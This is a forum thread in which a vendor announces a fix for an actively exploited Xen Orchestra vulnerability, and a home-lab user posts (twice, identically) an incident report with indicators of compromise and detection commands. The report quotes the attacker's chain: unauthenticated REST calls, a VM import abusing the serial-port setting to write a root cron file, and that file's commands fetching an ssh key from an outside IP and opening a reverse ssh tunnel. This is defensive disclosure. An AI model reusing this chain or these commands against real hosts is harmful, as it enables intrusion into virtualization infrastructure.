[Security] VSA-2026-062: critical Xen Orchestra vulnerability fixed, please update
-
Hello everyone,
In today’s cybersecurity landscape, vulnerabilities are an ongoing reality for all software vendors, and open source projects are no exception. We take our responsibility to identify, address and communicate security issues very seriously, including towards our community.
We were recently made aware that a vulnerability affecting Xen Orchestra (VSA-2026-062) was being actively exploited by a threat actor. Our teams mobilized immediately. The vulnerability was under embargo; the embargo has now been lifted, and we fast-tracked a patch in line with our vulnerability handling process. The vulnerability is now fixed.
Most Xen Orchestra deployments are not exposed to the public Internet, which greatly reduces the likelihood of exploitation. If your Xen Orchestra is reachable from the public Internet, however, urgent action is strongly advised.
If you run Xen Orchestra from sources
- Update to the latest
master, which includes the fix from pull request #10748, then rebuild and restart xo-server as usual. - Restrict access right away if Xen Orchestra is reachable from the Internet: VPN, dedicated management network or IP allow-list.
- Revoke all active sessions and API tokens, then rotate the secrets used in your stack: the root password of every XCP-ng host, XO proxy credentials, backup remotes (NFS, S3, etc.), XO user passwords and OTP secrets.
- Check for compromise: watch for unexpected VMs, imports or sessions, check the indicators of compromise listed in the advisory, and implement the blocking countermeasures it describes.
If you use a Xen Orchestra Appliance (XOA): update to 6.10.1 (latest channel) or 6.9.2 (stable channel). In XO 5, go to XOA > Updates and click Upgrade.
All instructions are centralized in the advisory, which will be updated as new information becomes available:
https://docs.vates.tech/security-advisories/advisories/2026/vates-sa-2026-062/A reminder that applies to any product: a virtualization management plane should never be exposed to the whole Internet, however up to date it is. A VPN and a dedicated management network remain the best protection against the next unknown vulnerability.
If you have questions, feel free to ask in this thread. Please don’t post logs or details that could expose your infrastructure publicly.
- Update to the latest
-
Hi, I got hit through this one last night. Small home lab pool, XO from sources (xo-server 5.213.0). It was reachable from the internet behind a reverse proxy because a friend has a VM on my server and wanted to start and stop it himself. Yes, that was dumb. It's VPN only from now on, the way it should have been.
None of the names, files or IPs from the advisory matched. A check for
pivot2/ustaralone would have shown me clean. Here is what I found instead.What they did, all within about 50 minutes
GET /rest/v0/vms?limit=1answered 200 without any login, followed by/rest/v0/users/me(307) and the user list. Later rounds showed a 401 and then a 200 in the same second, but the first one was a plain 200. My proxy doesn't log cookies. What I grep for is any 2xx on/rest/v0from an IP that isn't mine.POST /rest/v0/users/<admin id>/authentication_tokens, two tokens with the descriptionsystem-maintenanceand 24 h expiry.xo.exportConfigover the websocket, twice withentries ["xenServers"]and later the full config, no passphrase. In the proxy log this isGET /api/<random>/XO-config_<timestamp>.json.- VM import via
POST /rest/v0/pools/<id>/vms?sr=<local SR>. VM namesvc-<6 digits>, 256 MiB, one 2 MiB disk, no VIF, platformhvm_serial = file:/etc/cron.d/svc-<same digits>. Started right away and was halted again a few seconds later. The disk has one non-zero sector, a boot sector that prints the cron line to the serial port and halts. - That cron file ran once as root on the host:
curl http://13.140.168.109:8931/port?h=<hostname> curl http://13.140.168.109:8931/tk (an ssh key) append an ed25519 key with the comment nx-campaign to /root/.ssh/authorized_keys ssh -f -N -R <port>:localhost:22 hermes1@13.140.168.109 delete the cron fileBoth curls timed out for me and no tunnel came up, but the key was in
authorized_keys. They only failed because my firewall lets the hosts out on 80/443 only. With open egress the tunnel would have worked. The job left/root/dead.letterwith its errors on the host.IOCs
185.213.154.220 REST calls and config export (Chrome 131 UA, python-requests/2.3 13.140.168.109 VM import and start via REST (python-requests/2.32.5), port 8931, ssh user hermes1 VM name svc-<digits> and /etc/cron.d/svc-<digits> authorized_keys comment nx-campaign XO token description system-maintenance /root/dead.letter on the hostQuick checks on the hosts
grep nx-campaign /root/.ssh/authorized_keys ls -la /root/dead.letter /etc/cron.d/ zgrep svc- /var/log/cron* zgrep -- '-serial file:' /var/log/xensource.log*The last one is from the advisory and did match.
On the XO machine the journal does show a bit after all:
journalctl -u xo-server | grep 'unauthenticated API call' journalctl -u xo-server | grep 'use session.signIn() instead' journalctl -u xo-server | grep 'putResource /import/'The first also shows up for my own expired sessions, compare the times. The other me of the attack, nothing else in five months of journal.
audit.logshows no export or snapshot from the attacker on the xapi side, only my nightly backup. But the config export has the host root passwords and plugin secrets in clear text, so I rotate everything.Phew, that was quite a shock. I only read about the Vates advisory by chance in my news reader this morning. I sent my AI off to check if my setup was affected, and it found out that I had already been compromised.
-
Hi, I got hit through this one last night. Small home lab pool, XO from sources (xo-server 5.213.0). It was reachable from the internet behind a reverse proxy because a friend has a VM on my server and wanted to start and stop it himself. Yes, that was dumb. It's VPN only from now on, the way it should have been.
None of the names, files or IPs from the advisory matched. A check for
pivot2/ustaralone would have shown me clean. Here is what I found instead.What they did, all within about 50 minutes
GET /rest/v0/vms?limit=1answered 200 without any login, followed by/rest/v0/users/me(307) and the user list. Later rounds showed a 401 and then a 200 in the same second, but the first one was a plain 200. My proxy doesn't log cookies. What I grep for is any 2xx on/rest/v0from an IP that isn't mine.POST /rest/v0/users/<admin id>/authentication_tokens, two tokens with the descriptionsystem-maintenanceand 24 h expiry.xo.exportConfigover the websocket, twice withentries ["xenServers"]and later the full config, no passphrase. In the proxy log this isGET /api/<random>/XO-config_<timestamp>.json.- VM import via
POST /rest/v0/pools/<id>/vms?sr=<local SR>. VM namesvc-<6 digits>, 256 MiB, one 2 MiB disk, no VIF, platformhvm_serial = file:/etc/cron.d/svc-<same digits>. Started right away and was halted again a few seconds later. The disk has one non-zero sector, a boot sector that prints the cron line to the serial port and halts. - That cron file ran once as root on the host:
curl http://13.140.168.109:8931/port?h=<hostname> curl http://13.140.168.109:8931/tk (an ssh key) append an ed25519 key with the comment nx-campaign to /root/.ssh/authorized_keys ssh -f -N -R <port>:localhost:22 hermes1@13.140.168.109 delete the cron fileBoth curls timed out for me and no tunnel came up, but the key was in
authorized_keys. They only failed because my firewall lets the hosts out on 80/443 only. With open egress the tunnel would have worked. The job left/root/dead.letterwith its errors on the host.IOCs
185.213.154.220 REST calls and config export (Chrome 131 UA, python-requests/2.3 13.140.168.109 VM import and start via REST (python-requests/2.32.5), port 8931, ssh user hermes1 VM name svc-<digits> and /etc/cron.d/svc-<digits> authorized_keys comment nx-campaign XO token description system-maintenance /root/dead.letter on the hostQuick checks on the hosts
grep nx-campaign /root/.ssh/authorized_keys ls -la /root/dead.letter /etc/cron.d/ zgrep svc- /var/log/cron* zgrep -- '-serial file:' /var/log/xensource.log*The last one is from the advisory and did match.
On the XO machine the journal does show a bit after all:
journalctl -u xo-server | grep 'unauthenticated API call' journalctl -u xo-server | grep 'use session.signIn() instead' journalctl -u xo-server | grep 'putResource /import/'The first also shows up for my own expired sessions, compare the times. The other me of the attack, nothing else in five months of journal.
audit.logshows no export or snapshot from the attacker on the xapi side, only my nightly backup. But the config export has the host root passwords and plugin secrets in clear text, so I rotate everything.Phew, that was quite a shock. I only read about the Vates advisory by chance in my news reader this morning. I sent my AI off to check if my setup was affected, and it found out that I had already been compromised.
Popping it behind an instance of BunkerWeb (https://www.bunkerweb.io/) or similar, with Xen Orchestra on a new IP address would help. As BunkerWeb is what’s known as a Web Application Firewall.
It will help to protect your instance of Xen Orchestra, especially if you change the IP address of the appliance, and only give that friend the one that goes through BunkerWeb. As always don’t expose Xen Orchestra to the Internet, but if it’s absolutely necessary always use something like BunkerWeb and only provide the BunkerWeb based IP address!
Also run a check on all of your hosts and may be best to roll them a fresh (in case there’s an Advanced Persistent Threat). As well as a fresh instance of Xen Orchestra, and maybe encourage your friend while also doing yourself to start using hardware security keys, preferably ones that support biometrics and PINs. Alternatively other secure enclaves with cryptographic credentials held there.
Hello! It looks like you're interested in this conversation, but you don't have an account yet.
Getting fed up of having to scroll through the same posts each visit? When you register for an account, you'll always come back to exactly where you were before, and choose to be notified of new replies (either via email, or push notification). You'll also be able to save bookmarks and upvote posts to show your appreciation to other community members.
With your input, this post could be even better 💗
Register Login